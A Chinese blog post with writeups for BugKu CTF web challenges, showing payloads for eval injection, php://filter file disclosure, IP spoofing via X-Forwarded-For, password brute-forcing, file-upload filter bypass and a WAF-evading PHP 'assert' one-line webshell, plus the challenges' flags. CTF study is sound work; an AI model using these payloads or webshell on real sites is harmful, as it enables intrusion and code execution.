BugKu-Web 部分 Writeup

原创

疯疯芸 于 2019-07-08 12:51:28 发布 374 收藏

分类专栏： CTF 文章标签： CTF Web

本文链接：https://blog.csdn.net/qq_45262739/article/details/95053728

web2

查看源码,得 flag: `KEY{Web-2-bugKssNNikls9100}`

计算器

要求提交算式得结果,用 JS 验证

查看源码,发现可能是 `code.js`

然后进入查看,发现 flag: `flag{CTF-bugku-0032}`

矛盾

```
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
```

简单的 %00 绕过

直接构造 payload: `?num=1%00`

得到 flag: `flag{bugku-789-ps-ssdf}`

web3

点开后一直弹出窗口

果断 Burp 抓包

在 Response 最后发现

```
<!--&#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;
&#73;&#125;-->
```

粘贴到 Google 上,回车

得到 flag: `KEY{J2sa42ahJK-HS11III}`

域名解析

修改 windows 下的 `c:\windows\system32\drivers\etc\hosts`
添加
`120.24.86.145 flag.bugku.com`
访问 flag.bugku.com 得到 flag:
`KEY{DSAHDSJ82HDS2211}`

或者 Burp 抓包,修改 Host

```
GET / HTTP/1.1
Host: flag.baidu.com ##修改 Host
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121
 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

提交的 flag

你必须让他停下

进入链接,发现页面一直闪,果断 Burp 抓包
在 Response 里

```
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 08 Mar 2019 05:20:52 GMT
Content-Type: text/html
Connection: close
Content-Length: 614

ï»¿<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<title>Dummy game</title>
</head>

<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()',500);
</script>
<body>
<center><strong>I want to play Dummy game with othersÂ£Â¡But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="11.jpg" /></div></center><br>
<a style="display:none">flag is here~</a></body>
# 这里有猫腻
</html>
```

多提交几次

```
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 08 Mar 2019 05:18:07 GMT
Content-Type: text/html
Connection: close
Content-Length: 630

ï»¿<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="description" content="">
<meta name="author" content="">
<title>Dummy game</title>
</head>

<script language="JavaScript">
function myrefresh(){
window.location.reload();
}
setTimeout('myrefresh()',500);
</script>
<body>
<center><strong>I want to play Dummy game with othersÂ£Â¡But I can't stop!</strong></center>
<center>Stop at panda ! u will get flag</center>
<center><div><img src="10.jpg"/></div></center><br>
<a style="display:none">flag{dummy_game_1s_s0_popular}</a></body>
</html>
```

得到 flag:

`flag{dummy_game_1s_s0_popular}`

本地包含

进入看见代码,为代码审计

```
`<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>`
```

eval() 漏洞

直接构造 payload: `?hello=file('flag.php')`

得到 flag: `flag{bug-ctf-gg-99}`

```
file_get_contents('flag.php')
show_source('flag.php')
# 均可
```

变量1

```php
flag In the variable ! <?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args'];
if(!preg_match("/^\w+$/",$args)){
die("args error!");
}
eval("var_dump($$args);");
}
?>
```

进入看见代码
同样是 eval() 函数,但是它进行了正则式匹配,不能像上一题一样绕过
并且它用变量转存了提交的 `$_GET` 变量值进行验证,所以也不好利用 preg_match() 函数不能处理数组的漏洞
提示中 `flag In the variable !` 想到 var_dump() 函数的 `$GLOBALS` 变量 `$$a` 会将 `$a` 的值替换为 `GLOBALS`,也就是说 `$$a` 会被解析成 `$GLOBALS`

综上,构造 payload: `?args=GLOBALS`
提交得到 flag:
`flag{92853051ab894a64f7865cf3c2128b34}`

web5

查看源码,发现一堆括号

```
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]
+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+[]]+(+[![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]
]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+!+[]]]+(+(!+[]+!+
[]+!+[]+[!+[]+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[
]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+
[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+
([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]
+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]
]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+
[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(
!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[
]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]])+(+(+!+[]+[+[]]+[+!+[]]))
[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]
+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])
[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]
)[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])
[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[
]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![
]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]
+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[
!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![
```

```
]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[
]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+
[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(
!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[
]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([
][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])
[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[
]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[]
)[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[
]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[
])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]](!+[]+!+[]+!+[]+[+!+[]])[
+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[
!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[
!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]])
```

上网搜一波,发现其为 jother 编码
可以直接在控制台里运行,得到 flag:

`ctf{whatfk}`

但还没完,必须大写才能提交

头等舱

页面里啥也没有
果断 Burp 抓包
在 Response 里发现 flag:

`flag{Bugku_k8_23s_istra}`

网站被黑

源码,抓包无果,Dirsearch 扫描站点,发现 shell.php
进入,发现一个提交框
没有验证,考虑用 Burp 爆破
使用 Burp 自带的 Passwords 作为字典爆破
之后发现 hack 的响应长度不同于其他
在提交框里提交 hack,得到 flag:

`flag{hack_bug_ku035}`

管理员系统

进入发现是一个登陆界面
因为是管理员系统,推测用户名为 admin
随便输入密码提交,回显 `IP禁止访问，请联系本地管理员登陆，IP已被记录.`
本地管理员,联想到伪造 IP 地址 ~~(不要问我为什么,CTF 的脑洞就是这么大)~~
Burp 抓包,修改包

```
POST / HTTP/1.1
Host: 123.206.31.85:1003
Content-Length: 20
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121
 Safari/537.36
Origin: http://123.206.31.85:1003
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
X-Forwarded-For: 127.0.0.1 #伪造本地管理员IP
Referer: http://123.206.31.85:1003/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

user=admin&pass=asdf
```

提交,回显

`Invalid credentials! Please try again!`

密码不对,可以选择爆破

但查看网页源码发现

```
<!-- dGVzdDEyMw== -->
```

看起来是 Base64 加密

解密得到 test123 猜测其为密码

提交,得到 flag:

`The flag is: 85ff2ee4171396724bae20c0bd851f6b`

按格式提交答案

web4

进入提示看看源码

看到一段 JS 代码

```
<script>

var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d
%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%
64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';

var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72
%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%
7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%2
2%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';

eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

</script>
```

去掉 eval 函数在 Console 里运行

出现原文

```
function checkSubmit(){
 var a=document.getElementById("password");
 if("undefined"!=typeof a){
  if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)return!0;
  alert("Error");
  a.focus();
  return!1
 }
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
```

分析后提交 `67d709b2b54aa2aa648cf6e87a7114f1`
得到 flag:
`KEY{J22JK-HS11}`

flag在index里

题面只有一个链接`click me? no`
点击后会在 URL 后面加 file=show.php
想到 php://filter
构造 payload: `?file=php://filter/read=convert.base64-encode/resource=index.php`
得到 Base64 加密的 index.php 源码,Base64 解码得到

```
<html>
 <title>Bugku-ctf</title>
 <?php
  error_reporting(0);
  if(!$_GET[file]){
  echo '<a href="./index.php?file=show.php">click me? no</a>';}
  $file=$_GET['file'];
  if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
      echo "Oh no!";
      exit();
     }
     include($file);
     //flag:flag{edulcni_elif_lacol_si_siht}
    ?>
</html>
```

提交 flag:
`flag{edulcni_elif_lacol_si_siht}`

现在具体说说file=php://filter/read=convert.base64-encode/resource=index.php的含义

首先这是一个file关键字的get参数传递，php://是一种协议名称，php://filter/是一种访问本地文件的协议，/read=convert.base64-encode/表示读取的方式是base64编码后，resource=index.php表示目标文件为index.php。

通过传递这个参数可以得到index.php的源码，下面说说为什么，看到源码中的include函数，这个表示从外部引入php文件并执行，如果执行不成功，就返回文件的源码。

而include的内容是由用户控制的，所以通过我们传递的file参数，是include()函数引入了index.php的base64编码格式，因为是base64编码格式，所以执行不成功，返回源码，所以我们得到了源码的base64格式，解码即可。

如果不进行base64编码传入，就会直接执行，而flag的信息在注释中，是得不到的。

我们再看一下源码中 存在对 .../ tp data input 的过滤，其实这都是php://协议中的其他方法

过狗一句话

```php
<?php
 $poc="a#s#s#e#r#t";
 $poc_1=explode("#",$poc);
 $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
 $poc_2($_GET['s'])
?>
```

explode() 函数将 `$pos` 以 `#` 为界限打散装进 `$pos_1` 数组
`$pos_2` 用 `.` 将 `$pos_1` 数组连接成 `assert`
可以执行任意代码
读取 flag

> print_r(glob('*.php*')) *读取 .php 文件*
> *print_r(glob('*.txt')) 读取 .txt 文件*
> print_r(scandir('./')) 扫描当前目录,并输出

求 Getshell

后缀名黑名单检测和类型检测

如果是 walf 严格匹配，通过修改Content-type后字母的大小写可以绕过检测，使得需要上传的文件可以到达服务器端，而服务器的容错率较高，一般我们上传的文件可以解析。然后就需要确定我们如何上传文件，这里将文件的后缀名改为.jpg和.png都不可行，在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml（php的别名），发现只有php5没有被过滤，成功上传，得到flag